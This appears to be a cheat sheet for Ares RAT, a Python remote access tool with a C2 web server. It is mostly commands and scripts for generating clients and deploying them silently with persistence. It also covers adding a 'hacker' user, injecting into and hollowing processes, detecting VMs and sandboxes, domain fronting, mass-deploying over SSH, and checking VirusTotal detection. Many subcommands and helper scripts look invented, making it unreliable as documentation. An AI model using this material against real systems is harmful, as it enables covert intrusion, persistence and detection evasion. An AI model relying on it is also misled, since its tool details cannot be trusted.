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Ares RAT Cheat Sheet ​

Overview ​

Ares RAT (Remote Access Tool) is a Python-based remote administration tool that provides comprehensive control over target systems through a web-based interface. Developed as an open-source project, Ares RAT offers a modern approach to remote system management and penetration testing with its intuitive web interface and extensive feature set. The tool is designed to facilitate legitimate system administration tasks while also serving as a valuable asset for security professionals conducting authorized penetration testing and red team operations.

The architecture of Ares RAT consists of a lightweight Python client that establishes connections to a centralized server component. The server provides a web-based dashboard that allows operators to manage multiple connected clients simultaneously, execute commands, transfer files, and monitor system activities. This design makes Ares RAT particularly suitable for scenarios requiring management of multiple compromised systems or for educational purposes in controlled laboratory environments.

Ares RAT distinguishes itself through its focus on ease of use and deployment flexibility. The Python-based implementation ensures cross-platform compatibility, while the web interface eliminates the need for specialized client software for operators. The tool includes features for persistence, stealth operation, and comprehensive system reconnaissance, making it a versatile platform for both defensive security training and offensive security operations.

Installation ​

Server Installation ​

Setting up the Ares RAT server component:

bash
# Clone Ares RAT repository
git clone https://github.com/sweetsoftware/Ares.git
cd Ares

# Install Python dependencies
pip3 install -r requirements.txt

# Install additional dependencies
pip3 install flask flask-socketio eventlet

# Set up database
python3 setup_database.py

# Configure server settings
cp config.example.py config.py
nano config.py

Client Generation ​

Generating Ares RAT clients for deployment:

bash
# Generate basic client
python3 generate_client.py --server 192.168.1.100 --port 8080

# Generate Windows executable
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform windows --output client.exe

# Generate Linux client
python3 generate_client.py --server 192.168.1.100 --port 8080 --platform linux --output client

# Generate with custom settings
python3 generate_client.py --server 192.168.1.100 --port 8080 --delay 30 --persistence

# Generate encrypted client
python3 generate_client.py --server 192.168.1.100 --port 8080 --encrypt --key "encryption_key_here"

Docker Deployment ​

bash
# Build Ares RAT container
docker build -t ares-rat .

# Run server container
docker run -d -p 8080:8080 -p 443:443 --name ares-server ares-rat

# Run with persistent storage
docker run -d -p 8080:8080 -v /host/data:/app/data --name ares-server ares-rat

# Access container logs
docker logs ares-server

# Execute commands in container
docker exec -it ares-server /bin/bash

Basic Usage ​

Server Management ​

Starting and managing the Ares RAT server:

bash
# Start Ares RAT server
python3 ares_server.py --host 0.0.0.0 --port 8080

# Start with SSL/TLS
python3 ares_server.py --host 0.0.0.0 --port 443 --ssl --cert server.crt --key server.key

# Start with authentication
python3 ares_server.py --host 0.0.0.0 --port 8080 --auth --username admin --password secure_pass

# Start in debug mode
python3 ares_server.py --host 0.0.0.0 --port 8080 --debug

# Start with custom database
python3 ares_server.py --host 0.0.0.0 --port 8080 --database /path/to/custom.db

Web Interface Access ​

Accessing the Ares RAT web interface:

bash
# Access web interface
http://192.168.1.100:8080

# Access with HTTPS
https://192.168.1.100:443

# Login with credentials
Username: admin
Password: [configured_password]

# API access
curl -X GET http://192.168.1.100:8080/api/clients -H "Authorization: Bearer [token]"

Client Deployment ​

Deploying Ares RAT clients on target systems:

bash
# Deploy via PowerShell (Windows)
powershell -ExecutionPolicy Bypass -File deploy_client.ps1

# Deploy via bash (Linux)
bash deploy_client.sh

# Deploy via Python
python3 client.py --server 192.168.1.100 --port 8080

# Deploy with persistence
python3 client.py --server 192.168.1.100 --port 8080 --persist

# Deploy silently
python3 client.py --server 192.168.1.100 --port 8080 --silent

Advanced Features ​

Command Execution ​

Executing commands through Ares RAT:

bash
# Execute system command
ares> execute "whoami"

# Execute PowerShell command (Windows)
ares> powershell "Get-Process"

# Execute with elevated privileges
ares> execute_elevated "net user hacker password123 /add"

# Execute in background
ares> execute_background "ping -t google.com"

# Execute Python script
ares> execute_python "import os; print(os.getcwd())"

File Operations ​

Managing files through Ares RAT:

bash
# Upload file to target
ares> upload /local/path/file.txt C:\temp\file.txt

# Download file from target
ares> download C:\temp\data.txt /local/path/data.txt

# List directory contents
ares> list_directory C:\Users\

# Create directory
ares> create_directory C:\temp\new_folder

# Delete file
ares> delete_file C:\temp\unwanted.txt

# Copy file
ares> copy_file C:\source.txt C:\destination.txt

System Information ​

Gathering system information:

bash
# Get system information
ares> system_info

# Get network information
ares> network_info

# Get process list
ares> process_list

# Get installed software
ares> installed_software

# Get user accounts
ares> user_accounts

# Get system services
ares> services_list

Persistence Mechanisms ​

Establishing persistence:

bash
# Registry persistence (Windows)
ares> persist_registry --key "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" --name "AresClient"

# Scheduled task persistence
ares> persist_task --name "SystemUpdate" --trigger startup

# Service persistence
ares> persist_service --name "AresService" --display "System Update Service"

# Startup folder persistence
ares> persist_startup --path "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# Cron job persistence (Linux)
ares> persist_cron --schedule "*/5 * * * *" --command "/path/to/client"

Stealth and Evasion ​

Process Management ​

Managing process visibility:

bash
# Hide process
ares> hide_process

# Migrate to different process
ares> migrate_process explorer.exe

# Inject into process
ares> inject_process notepad.exe

# Create hollow process
ares> hollow_process svchost.exe

# Set process priority
ares> set_priority low

Network Evasion ​

Implementing network evasion techniques:

bash
# Use proxy for communications
ares> set_proxy 192.168.1.50:3128

# Enable domain fronting
ares> set_domain_front cdn.cloudflare.com

# Randomize User-Agent
ares> set_user_agent random

# Set custom headers
ares> set_headers "X-Custom: value"

# Enable traffic encryption
ares> enable_encryption AES256

Anti-Analysis ​

Implementing anti-analysis techniques:

bash
# Detect virtual machines
ares> detect_vm

# Detect sandboxes
ares> detect_sandbox

# Detect debuggers
ares> detect_debugger

# Check for analysis tools
ares> detect_analysis_tools

# Implement delays
ares> set_delay 60-300

Automation Scripts ​

Mass Deployment ​

bash
#!/bin/bash
# Ares RAT mass deployment script

SERVER_IP="192.168.1.100"
SERVER_PORT="8080"
TARGET_LIST="targets.txt"

echo "Starting Ares RAT mass deployment"

# Generate client for each target
while IFS= read -r target; do
    echo "Deploying to $target"
    
    # Generate custom client
    python3 generate_client.py --server $SERVER_IP --port $SERVER_PORT --target $target
    
    # Deploy via SSH
    scp ares_client.py user@$target:/tmp/
    ssh user@$target "cd /tmp && python3 ares_client.py --server $SERVER_IP --port $SERVER_PORT &"
    
    echo "Deployed to $target successfully"
    sleep 5
done < "$TARGET_LIST"

echo "Mass deployment completed"

Command Automation ​

python
#!/usr/bin/env python3
# Ares RAT command automation

import requests
import json
import time

class AresAutomation:
    def __init__(self, server_url, auth_token):
        self.server_url = server_url
        self.auth_token = auth_token
        self.headers = {"Authorization": f"Bearer {auth_token}"}
    
    def get_clients(self):
        """Get list of connected clients"""
        response = requests.get(f"{self.server_url}/api/clients", headers=self.headers)
        return response.json()
    
    def execute_command(self, client_id, command):
        """Execute command on specific client"""
        data = {"command": command}
        response = requests.post(f"{self.server_url}/api/clients/{client_id}/execute", 
                               json=data, headers=self.headers)
        return response.json()
    
    def mass_execute(self, command):
        """Execute command on all clients"""
        clients = self.get_clients()
        results = {}
        
        for client in clients:
            client_id = client['id']
            result = self.execute_command(client_id, command)
            results[client_id] = result
            time.sleep(1)
        
        return results

# Usage example
if __name__ == "__main__":
    automation = AresAutomation("http://192.168.1.100:8080", "your_auth_token")
    
    # Execute command on all clients
    results = automation.mass_execute("whoami")
    
    for client_id, result in results.items():
        print(f"Client {client_id}: {result}")

Monitoring Script ​

python
#!/usr/bin/env python3
# Ares RAT monitoring script

import requests
import time
import json
from datetime import datetime

def monitor_ares_activity():
    """Monitor Ares RAT activity"""
    
    server_url = "http://192.168.1.100:8080"
    auth_token = "your_auth_token"
    headers = {"Authorization": f"Bearer {auth_token}"}
    
    while True:
        try:
            # Get server status
            response = requests.get(f"{server_url}/api/status", headers=headers)
            
            if response.status_code == 200:
                data = response.json()
                
                print(f"[{datetime.now()}] Server Status:")
                print(f"  Active clients: {data['active_clients']}")
                print(f"  Total commands: {data['total_commands']}")
                print(f"  Uptime: {data['uptime']}")
                
                # Get client details
                clients_response = requests.get(f"{server_url}/api/clients", headers=headers)
                clients = clients_response.json()
                
                for client in clients:
                    print(f"  Client {client['id']}: {client['hostname']} - {client['last_seen']}")
                
                print("-" * 50)
            
            time.sleep(60)
            
        except Exception as e:
            print(f"Monitoring error: {e}")
            time.sleep(30)

if __name__ == "__main__":
    monitor_ares_activity()

Integration Examples ​

SIEM Integration ​

python
#!/usr/bin/env python3
# Ares RAT SIEM integration

import requests
import json
import syslog

def send_to_siem(event_data):
    """Send Ares RAT events to SIEM"""
    
    # Splunk integration
    splunk_url = "https://splunk.company.com:8088/services/collector"
    splunk_token = "your_splunk_token"
    
    headers = {
        "Authorization": f"Splunk {splunk_token}",
        "Content-Type": "application/json"
    }
    
    splunk_event = {
        "event": event_data,
        "sourcetype": "ares_rat",
        "source": "ares_server"
    }
    
    response = requests.post(splunk_url, json=splunk_event, headers=headers)
    
    # Syslog integration
    syslog.openlog("AresRAT")
    syslog.syslog(syslog.LOG_INFO, json.dumps(event_data))
    syslog.closelog()

# Usage
event = {
    "timestamp": "2024-01-01T12:00:00Z",
    "client_id": "client_001",
    "action": "command_executed",
    "command": "whoami",
    "result": "DOMAIN\\user"
}

send_to_siem(event)

Threat Intelligence Integration ​

python
#!/usr/bin/env python3
# Ares RAT threat intelligence integration

import requests
import hashlib

def check_threat_intel(ioc, ioc_type):
    """Check IOC against threat intelligence sources"""
    
    # VirusTotal integration
    vt_api_key = "your_vt_api_key"
    
    if ioc_type == "hash":
        url = f"https://www.virustotal.com/vtapi/v2/file/report"
        params = {"apikey": vt_api_key, "resource": ioc}
    elif ioc_type == "ip":
        url = f"https://www.virustotal.com/vtapi/v2/ip-address/report"
        params = {"apikey": vt_api_key, "ip": ioc}
    
    response = requests.get(url, params=params)
    
    if response.status_code == 200:
        data = response.json()
        return data
    
    return None

# Check client binary hash
client_hash = hashlib.sha256(open("ares_client.py", "rb").read()).hexdigest()
threat_data = check_threat_intel(client_hash, "hash")

if threat_data and threat_data.get("positives", 0) > 0:
    print(f"Warning: Client detected by {threat_data['positives']} engines")

Troubleshooting ​

Connection Issues ​

bash
# Test server connectivity
curl -v http://192.168.1.100:8080/api/status

# Check port accessibility
telnet 192.168.1.100 8080

# Verify firewall rules
sudo iptables -L | grep 8080

# Check DNS resolution
nslookup ares-server.domain.com

# Test with different protocols
curl -k https://192.168.1.100:443/api/status

Client Issues ​

bash
# Debug client connection
python3 ares_client.py --server 192.168.1.100 --port 8080 --debug

# Check client logs
tail -f /tmp/ares_client.log

# Verify client configuration
python3 -c "import ares_client; print(ares_client.config)"

# Test manual connection
python3 -c "
import socket
s = socket.socket()
s.connect(('192.168.1.100', 8080))
print('Connection successful')
s.close()
"

Performance Issues ​

bash
# Monitor server resources
top -p $(pgrep ares_server)

# Check memory usage
ps aux | grep ares

# Monitor network connections
netstat -an | grep 8080

# Check disk space
df -h

# Monitor database size
du -sh ares.db

Security Considerations ​

Operational Security ​

Server Security:

  • Use strong authentication credentials
  • Enable HTTPS/TLS encryption
  • Implement IP whitelisting
  • Regular security updates
  • Monitor access logs

Client Security:

  • Use encrypted communications
  • Implement anti-analysis techniques
  • Regular payload updates
  • Secure deletion of artifacts
  • Monitor for detection

Network Security:

  • Use VPNs or proxies for C2 traffic
  • Implement domain fronting
  • Randomize communication patterns
  • Monitor for network anomalies
  • Use legitimate-looking traffic

Authorized Use Only:

  • Obtain proper written authorization
  • Define clear scope and limitations
  • Document all activities
  • Follow responsible disclosure
  • Respect privacy and confidentiality

Compliance:

  • Follow applicable laws and regulations
  • Implement data protection measures
  • Maintain audit trails
  • Regular compliance reviews
  • Incident response procedures

References ​

  1. Ares RAT GitHub Repository
  2. Python Remote Access Tools
  3. Web-Based C2 Frameworks
  4. Remote Administration Security
  5. Penetration Testing Frameworks